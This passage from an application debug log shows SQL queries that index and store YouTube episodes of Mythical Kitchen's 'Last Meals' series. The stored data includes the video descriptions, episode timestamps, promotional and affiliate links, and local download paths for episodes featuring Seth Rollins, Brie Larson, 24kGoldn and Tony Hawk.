Father Figures & Parkinson's Disease\n20:01 Learning To Love The Midwest\n21:21 Self-Loathing\n22:31 The Marvel Movie Experience\n23:52 4th Course - Hooters Buffalo Shrimp & Budweiser\n23:57 History With Hooters\n25:42 Josh's Wrestling Persona (Alpha Baby)\n27:50 Seth's Wrestling School\n28:23 Committing To The Character\n30:13 The Future Of Technology & Content\n31:33 5th Course - Salt & Straw Ice Cream & Pumpkin Pie\n32:21 Loving Salt & Straw\n33:24 Did Becoming A Dad Make You More Cautious?\n34:54 The Future Of Seth's Career\n35:19 Grieving The Loss Of Bray Wyatt\n38:39 Lightning Round - Who Would You Share Your Last Meal With?\n38:58 What Song Do You Want Played at Your Funeral?\n39:21 Which Wrestler, Dead or Alive, Would You Choose For A Hell In A Cell Match?\n39:35 Who Plays You In The Biopic?\n39:52 Logan Paul Or Jake Paul?\n39:57 Could You Beat Logan Paul In A Street Fight?\n40:23 What's Your Biggest Fear?\n40:38 What's Your Biggest Regret In Life?\n41:00 Are You Happy?\n41:52 Seth's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDK" <> ..., "WWE’s Seth Rollins Eats His Last Meal", "a139cdee-69a6-43b5-8c75-7f1172e8e276", "https://www.youtube.com/watch?v=Eh2jUzJ-qWs", false, "Eh2jUzJ-qWs", 2572, false, 79, "/downloads/Last Meals/2023-10-31 WWE’s Seth Rollins Eats His Last Meal/WWE’s Seth Rollins Eats His Last Meal [Eh2jUzJ-qWs].mp4", false, false, 1, [], 1, ~U[2023-10-31 10:00:14Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Seth Rollins' last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nTimestamps\n0:00 Seth's Last Meal Menu\n0:36 Iowa Hardcore Scene\n1:55 How Often Do You Think About Death?\n2:39 New Last Meals Hat & Tee\n3:06 1st Course - BLT, Corn On The Cob, Pizza Rolls, Spicy Doritos, & Pepsi\n3:32 Childhood Memories\n4:49 Seth's First Personas\n6:19 Preeminent Corn Critic\n7:05 Big Brothers & Magic The Gathering \n8:05 Pizza Rolls Technique \n8:40 Madden Football & Spicy Doritos\n10:40 2nd Course - Ribeye, Fatty Tuna, & Sake\n11:32 Jiro Dreams of Sushi & Discovering A Hidden Gem\n14:18: Being A Heel And Human Morality\n15:10 Physical Peak Vs. Mental Peak\n16:52 3rd Course - Enchiladas, Fideo, & Detroit Style Pizza\n17:32 Growing Up In a Half-Mexican Household\n18:11 Father Figures & Parkinson's Disease\n20:01 Learning To Love The Midwest\n21:21 Self-Loathing\n22:31 The Marvel Movie Experience\n23:52 4th Course - Hooters Buffalo Shrimp & Budweiser\n23:57 History With Hooters\n25:42 Josh's Wrestling Persona (Alpha Baby)\n27:50 Seth's Wrestling School\n28:23 Committing To The Character\n30:13 The Future Of Technology & Content\n31:33 5th Course - Salt & Straw Ice Cream & Pumpkin Pie\n32:21 Loving Salt & Straw\n33:24 Did Becoming A Dad Make You More Cautious?\n34:54 The Future Of Seth's Career\n35:19 Grieving The Loss Of Bray Wyatt\n38:39 Lightning Round - Who Would You Share Your Last Meal With?\n38:58 What Song Do You Want Played at Your Funeral?\n39:21 Which Wrestler, Dead or Alive, Would You Choose For A Hell In A Cell Match?\n39:35 Who Plays You In The Biopic?\n39:52 Logan Paul Or Jake Paul?\n39:57 Could You Beat Logan Paul In A Street Fight?\n40:23 What's Your Biggest Fear?\n40:38 What's Your Biggest Regret In Life?\n41:00 Are You Happy?\n41:52 Seth's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin (truncated) 20:49:32.359 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.359 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-21 10:01:03Z], 1] 20:49:32.360 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Brie Larson eats her last meal.\n\nFind Brie on YouTube: https://www.youtube.com/channel/UCN_GNYmF_jOpv8Yoh3KBILA\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Brie's Last Meal\n0:23 Top Mario Tennis Player\n1:00 Have You Thought About Your Last Meal Before?\n2:05 Find Ways To Ritualize Your Life\n2:50 1st Course\n4:30 Activism & Auntie Anne's\n7:30 The Search For Meaning\n8:57 Crying During Chopped (& Not Getting Smart House)\n11:40 The Magic Of Hosting\n12:15 2nd Course\n17:14 Let Your Drunk Friends Clean\n18:11 We NEED Parties\n20:48 Childhood Indiana Jones Memories\n22:39 3rd Course\n26:19 Animal Crossing & Fear Of Failure\n29:12 Let Down As Many People As Possible\n31:50 4th Course\n34:27 Caring ALOT\n35:43 Dealing With Despair\n38:44 What Do You Think Happens When You Die?\n39:44 Lightning Round\n43:33 Brie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Brie Larson Eats Her Last Meal", "a5451a53-747f-4241-9272-25a58903d217", "https://www.youtube.com/watch?v=_ugOPkkWMTw", false, "_ugOPkkWMTw", 2661, false, 80, "/downloads/Last Meals/2025-10-21 Brie Larson Eats Her Last Meal/Brie Larson Eats Her Last Meal [_ugOPkkWMTw].mp4", false, false, 1, [], 1, ~U[2025-10-21 10:01:03Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Brie Larson eats her last meal.\n\nFind Brie on YouTube: https://www.youtube.com/channel/UCN_GNYmF_jOpv8Yoh3KBILA\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Brie's Last Meal\n0:23 Top Mario Tennis Player\n1:00 Have You Thought About Your Last Meal Before?\n2:05 Find Ways To Ritualize Your Life\n2:50 1st Course\n4:30 Activism & Auntie Anne's\n7:30 The Search For Meaning\n8:57 Crying During Chopped (& Not Getting Smart House)\n11:40 The Magic Of Hosting\n12:15 2nd Course\n17:14 Let Your Drunk Friends Clean\n18:11 We NEED Parties\n20:48 Childhood Indiana Jones Memories\n22:39 3rd Course\n26:19 Animal Crossing & Fear Of Failure\n29:12 Let Down As Many People As Possible\n31:50 4th Course\n34:27 Caring ALOT\n35:43 Dealing With Despair\n38:44 What Do You Think Happens When You Die?\n39:44 Lightning Round\n43:33 Brie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Brie Larson Eats Her Last Meal", "https://www.youtube.com/watch?v=_ugOPkkWMTw", "_ugOPkkWMTw", 2661, false, "/downloads/Last Meals/2025-10-21 Brie Larson Eats Her Last Meal/Brie Larson Eats Her Last Meal [_ugOPkkWMTw].mp4", false, 1, ~U[2025-10-21 10:01:03Z]] 20:49:32.360 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.360 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-15 11:00:30Z], 1] 20:49:32.361 [debug] QUERY OK source="media_items" db=0.6ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking 24kGoldn's last meal. Last Meals Ep.2\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "24kGoldn Eats His Last Meal", "1a4d0a61-eb47-43f2-b08a-d9b02e6446c1", "https://www.youtube.com/watch?v=cCD23fss8GQ", false, "cCD23fss8GQ", 1332, false, 81, "/downloads/Last Meals/2022-02-15 24kGoldn Eats His Last Meal/24kGoldn Eats His Last Meal [cCD23fss8GQ].mp4", false, false, 1, [], 1, ~U[2022-02-15 11:00:30Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking 24kGoldn's last meal. Last Meals Ep.2\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "24kGoldn Eats His Last Meal", "https://www.youtube.com/watch?v=cCD23fss8GQ", "cCD23fss8GQ", 1332, false, "/downloads/Last Meals/2022-02-15 24kGoldn Eats His Last Meal/24kGoldn Eats His Last Meal [cCD23fss8GQ].mp4", false, 1, ~U[2022-02-15 11:00:30Z]] 20:49:32.361 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.361 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-12 10:00:11Z], 1] 20:49:32.362 [debug] QUERY OK source="media_items" db=0.7ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Tony Hawk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Tony's Last Meal\n2:01 Have You Thought About Your Last Meal Before?\n2:39 1st Course\n4:05 Hawk Vs. Wolf\n5:26 Being A Fan At The Paris Olympics\n6:08 Skateboard Jesus\n9:02 Getting Bullied For Skating\n13:40 2nd Course\n15:14 A Hyperactive Kid\n16:20 Landing The 900\n19:00 The Godfather Of Modern Skateboarding\n20:46 3rd Course\n22:42 Tony Hawk Pro Skater Video Game\n27:42 The Best Version Of Tony Hawk\n29:22 4th Course\n30:45 Practical Vs. Emotional Parenting\n32:35 A Broken Femur & McTwist Redemption\n35:25 Are You More Afraid Of Dying Or Never Skating Again?\n36:54 Will You Skate In The 2028 Olympics?\n38:07 What Do You Think Happens When You Die?\n39:21 Lightning Round\n42:38 Tony's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Tony Hawk Eats His Last Meal", "9971c8dd-a56b-4ce2-a560-e4e77c8829a6", "https://www.youtube.com/watch?v=CIEpU0EF0XI", false, "CIEpU0EF0XI", 2610, false, 82, "/downloads/Last Meals/2024-09-12 Tony Hawk Eats His Last Meal/Tony Hawk Eats His Last Meal [CIEpU0EF0XI].mp4", false, false, 1, [], 1, ~U[2024-09-12 10:00:11Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Tony Hawk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Tony's Last Meal\n2:01 Have You Thought About Your Last Meal Before?\n2:39 1st Course\n4:05 Hawk Vs. Wolf\n5:26 Being A Fan At The Paris Olympics\n6:08 Skateboard Jesus\n9:02 Getting Bullied For Skating\n13:40 2nd Course\n15:14 A Hyperactive Kid\n16:20 Landing The 900\n19:00 The Godfather Of Modern Skateboarding\n20:46 3rd Course\n22:42 Tony Hawk Pro Skater Video Game\n27:42 The Best Version Of Tony Hawk\n29:22 4th Course\n30:45 Practical Vs. Emotional Parenting\n32:35 A Broken Femur & McTwist Redemption\n35:25 Are You More Afraid Of Dying Or Never Skating Again?\n36:54 Will You Skate In The 2028 